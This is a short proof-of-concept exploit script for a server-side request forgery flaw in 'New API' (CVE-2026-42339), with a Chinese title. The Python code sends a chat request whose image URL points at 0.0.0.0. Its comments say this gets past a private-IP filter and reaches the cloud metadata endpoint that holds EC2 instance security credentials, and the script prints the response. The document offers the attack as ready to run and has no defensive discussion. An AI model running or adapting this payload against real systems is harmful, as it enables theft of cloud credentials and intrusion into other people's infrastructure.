CVE-2026-42339 New API SSRF漏洞

import requests import json # Configuration target_url = "http://target-new-api-instance.com/v1/chat/completions" api_token = "YOUR_VALID_API_TOKEN" # Headers headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/json" } # Payload exploiting 0.0.0.0 to access localhost metadata (e.g., AWS Cloud Metadata) # Adjust port and path based on the target environment payload = { "model": "gpt-4", "messages": [ { "role": "user", "content": [ { "type": "image_url", "image_url": { # Using 0.0.0.0 to bypass private IP filter and hit localhost "url": "http://0.0.0.0:80/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" } }, { "type": "text", "text": "Read the content of the image." } ] } ] } try: response = requests.post(target_url, headers=headers, data=json.dumps(payload)) print(f"Status Code: {response.status_code}") print("Response Body:") print(response.text) except Exception as e: print(f"An error occurred: {e}")